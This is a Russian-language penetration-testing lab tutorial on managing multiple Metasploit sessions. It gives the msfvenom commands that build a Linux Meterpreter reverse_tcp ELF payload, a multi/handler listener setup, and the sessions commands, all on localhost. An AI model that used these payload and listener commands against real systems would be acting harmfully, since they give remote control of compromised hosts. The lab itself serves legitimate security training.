Введение
При тестировании на проникновение часто возникает необходимость одновременно получить доступ к нескольким системам. Metasploit Framework предоставляет мощный способ управления этими соединениями, которые называются "сессиями" (sessions). Сессия представляет собой активную связь с скомпрометированной целью, которая может быть командной оболочкой (command-line shell) или продвинутой сессией Meterpreter.
Эффективное управление этими сессиями является критически важным навыком. Оно позволяет вам организовать рабочий процесс, беспрепятственно переключаться между целями и поддерживать контроль над скомпрометированными активами. В этой лаборатории вы изучите основные команды для управления несколькими сессиями в Metasploit. Вы научитесь получать сессии, перечислять их, взаимодействовать с конкретными сессиями, переименовывать их для лучшей организации и, наконец, корректно завершать их.
Получение нескольких сессий Meterpreter или shell
На этом шаге вы настроите прослушиватель (listener) в Metasploit, а затем выполните полезную нагрузку (payload) для создания двух отдельных сессий Meterpreter. Это имитирует получение доступа к двум различным системам.
Сначала откройте терминал и запустите консоль Metasploit Framework. Флаг -q позволяет запустить ее в тихом режиме, без отображения баннера.
msfconsole -q
Далее мы настроим универсальный прослушиватель, называемый multi/handler, для ожидания входящих соединений.
use multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set LHOST 127.0.0.1
set LPORT 4444
Теперь запустите прослушиватель как фоновую задачу, используя флаг -j. Это позволит сохранить доступным приглашение msfconsole для других команд, пока прослушиватель работает в фоновом режиме.
run -j
Вы должны увидеть подтверждение того, что обработчик запущен.
[*] Exploit running as background job 0.
[*] Started reverse TCP handler on 127.0.0.1:4444
Теперь вам нужно сгенерировать и выполнить полезную нагрузку, которая подключится обратно к этому прослушивателю. Откройте новую, вторую вкладку терминала, нажав значок + в окне терминала.
В этом новом терминале используйте msfvenom для создания полезной нагрузки. Эта команда генерирует исполняемый файл ELF, который при запуске подключится обратно к нашему прослушивателю.
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f elf -o ~/project/payload.elf
Сделайте сгенерированный файл полезной нагрузки исполняемым:
chmod +x ~/project/payload.elf
Теперь выполните полезную нагрузку дважды, чтобы создать две сессии. Мы запускаем их как фоновые процессы (&), чтобы вы могли немедленно выполнить команду снова.
./payload.elf &
./payload.elf &
Вернитесь в первое окно терминала с msfconsole. Вы увидите сообщения, указывающие на то, что были открыты две сессии Meterpreter.
[*] Meterpreter session 1 opened (127.0.0.1:4444 -> 127.0.0.1:38998) at 2023-10-27 10:30:00 -0400
[*] Meterpreter session 2 opened (127.0.0.1:4444 -> 127.0.0.1:39000) at 2023-10-27 10:30:05 -0400
Теперь вы успешно установили две активные сессии.
Список всех активных сессий с помощью команды sessions
На этом шаге вы научитесь просматривать все установленные вами активные сессии. При наличии нескольких открытых сессий вам нужен способ их перечислить, чтобы увидеть, к чему вы подключены.
Для этой цели используется команда sessions. В вашем терминале msfconsole просто введите sessions, чтобы получить список всех активных сессий. Флаг -l является псевдонимом для list и выполняет ту же функцию.
sessions
Вывод будет представлять собой таблицу, содержащую информацию о каждой сессии:
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x64/linux uid=1000, gid=1000, ... 127.0.0.1:4444 -> 127.0.0.1:38998 (...)
2 meterpreter x64/linux uid=1000, gid=1000, ... 127.0.0.1:4444 -> 127.0.0.1:39000 (...)
Эта таблица предоставляет четкий обзор:
- Id: Уникальный номер для каждой сессии, используемый для взаимодействия с ней.
- Name: Пользовательское имя для сессии (в настоящее время пустое).
- Type: Тип сессии (например,
meterpreter,shell). - Information: Детали о скомпрометированной системе, такие как идентификатор пользователя.
- Connection: IP-адреса и порты источника и назначения.
Взаимодействие с конкретной сессией с помощью sessions -i
На этом шаге вы научитесь выбирать и взаимодействовать с конкретной сессией из списка.
После того как вы определили сессию, с которой хотите работать, вы можете использовать команду sessions с флагом -i (interact), за которым следует идентификатор сессии.
Давайте взаимодействовать с первой сессией (ID 1).
sessions -i 1
Ваш командный интерпретатор изменится с msf6 > на meterpreter >, что указывает на то, что вы находитесь внутри сессии Meterpreter и можете выполнять команды, специфичные для Meterpreter.
[*] Starting interaction with 1...
meterpreter >
Чтобы убедиться, что вы находитесь в сессии, выполните простую команду, такую как sysinfo, чтобы получить информацию о системе цели.
sysinfo
Вы увидите вывод, похожий на этот:
Computer : labex-virtual-machine
OS : Ubuntu 22.04 (Linux 5.15.0-78-generic)
Architecture : x64
System Language: en_US
Meterpreter : x64/linux
После завершения работы в сессии вы можете вернуться к основному приглашению msfconsole, не завершая сессию. Для этого используйте команду background.
background
Это переведет сессию в фоновый режим и вернет вас к приглашению msf6 >, позволяя управлять другими сессиями.
[*] Backgrounding session 1...
msf6 exploit(multi/handler) >
Переименование сессии для лучшей организации с помощью sessions -n
На этом шаге вы научитесь переименовывать сессию. При управлении множеством сессий имена по умолчанию не являются описательными. Переименование сессий с осмысленными метками (например, "WebServer", "DBServer") значительно упрощает их идентификацию.
Вы можете переименовать сессию, используя команду sessions с флагом -n (name). Синтаксис: sessions -n <NewName> <ID>.
Давайте переименуем сессию 2 во что-то более описательное, например, TestHost.
sessions -n TestHost 2
Metasploit подтвердит, что сессия была переименована.
[*] Session 2's name has been changed to TestHost.
Теперь снова выведите список сессий, чтобы увидеть изменения.
sessions
Таблица вывода теперь покажет новое имя в столбце "Name" для сессии 2.
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x64/linux uid=1000, gid=1000, ... 127.0.0.1:4444 -> 127.0.0.1:38998 (...)
2 TestHost meterpreter x64/linux uid=1000, gid=1000, ... 127.0.0.1:4444 -> 127.0.0.1:39000 (...)
Это значительно упрощает отслеживание ваших целей.
Завершение сессии с помощью sessions -k
На этом шаге вы научитесь завершать сессию. После завершения работы с целевой системой или если сессия больше не нужна, ее следует закрыть.
Для завершения, или "убийства", сессии используйте команду sessions с флагом -k (kill), за которым следует идентификатор сессии.
Давайте завершим сессию 1.
sessions -k 1
Metasploit подтвердит, что сессия останавливается.
[*] Stopping session 1...
[*] 127.0.0.1 - Meterpreter session 1 closed. Reason: User exit
Чтобы убедиться, что сессия была завершена, выведите список активных сессий еще раз.
sessions
В выводе теперь будет показана только оставшаяся сессия, TestHost.
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
2 TestHost meterpreter x64/linux uid=1000, gid=1000, ... 127.0.0.1:4444 -> 127.0.0.1:39000 (...)
Вы успешно удалили ненужную сессию.
Итоги
Поздравляем с завершением этой лабораторной работы! Вы освоили основные навыки управления несколькими сессиями в Metasploit Framework.
В этой лабораторной работе вы практиковались в:
- Создании нескольких сессий Meterpreter с использованием
multi/handlerи полезной нагрузки (payload). - Выводе списка всех активных сессий командой
sessions. - Взаимодействии с конкретной сессией с помощью
sessions -i <ID>. - Переименовании сессии для лучшей организации с помощью
sessions -n <Name> <ID>. - Корректном завершении сессии с помощью
sessions -k <ID>.
Овладение этими командами является основополагающим для любого специалиста по тестированию на проникновение, поскольку оно обеспечивает эффективный и организованный контроль над несколькими скомпрометированными системами.


